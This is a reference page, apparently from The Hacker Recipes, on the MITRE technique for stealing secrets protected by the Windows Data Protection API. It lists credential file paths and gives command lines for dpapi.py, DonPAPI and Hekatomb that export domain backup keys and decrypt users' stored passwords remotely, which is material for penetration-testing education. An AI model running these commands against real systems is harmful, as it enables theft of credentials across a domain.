DPAPI secrets

MITRE ATT&CK™ Sub-technique T1555.003

Theory

The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password. They are usually located at:

C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID

Application like Google Chrome, Outlook, Internet Explorer, Skype use the DPAPI. Windows also uses that API for sensitive information like Wi-Fi passwords, certificates, RDP connection passwords, and many more.

Below are common paths of hidden files that usually contain DPAPI-protected data.

C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\

Practice

UNIX-like

DPAPI.py

Impacket's dpapi.py can be used to interact with DPAPI.

# Decrypt a master key
dpapi.py masterkey -file "/path/to/masterkey_file" -sid $USER_SID -password $MASTERKEY_PASSWORD

# Obtain the backup keys & use it to decrypt a master key
dpapi.py backupkeys -t $DOMAIN/$USER:$PASSWORD@$TARGET --export
dpapi.py masterkey -file "/path/to/masterkey_file" -pvk "/path/to/backup_key.pvk"

# Decrypt DPAPI-protected data using a master key
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

DonPAPI

DonPAPI (Python) can also be used to remotely extract a user's DPAPI secrets more easily. It supports pass-the-hash, pass-the-ticket and so on.

DonPAPI.py 'domain'/'username':'password'@<'targetName' or 'address/mask'>

Hekatomb

Hekatomb (python script) can also be used. It connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers and uses Domain backup keys to decrypt them.

# Obtain the backup keys & use it to decrypt all blob from users
hekatomb $DOMAIN/$USER:$PASSWORD@$TARGET

# Decrypt all blob from users using saved backup key
hekatomb -pkv /path/to/backup_key.pvk $DOMAIN/$USER:$PASSWORD@$TARGET

Windows

Resources

DPAPI secrets | The Hacker Recipeswww.thehacker.recipes

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